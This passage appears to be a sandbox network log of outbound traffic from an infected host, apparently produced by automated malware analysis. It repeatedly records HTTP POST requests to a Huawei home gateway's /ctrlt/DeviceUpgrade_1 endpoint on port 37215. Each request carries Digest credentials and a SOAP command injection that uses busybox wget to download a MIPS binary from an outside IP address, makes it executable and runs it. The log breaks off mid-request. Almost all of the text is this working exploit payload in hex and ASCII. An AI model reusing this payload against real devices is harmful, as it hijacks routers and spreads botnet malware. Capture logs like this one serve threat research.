Jan 1, 2024 12:52:46.370178938 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:47.936649084 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:49.756741047 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:53.500590086 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:00.924609900 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:15.516530037 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:44.700532913 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	40302	154.201.16.9	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:47.682060003 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:49.244740009 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:51.068660021 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 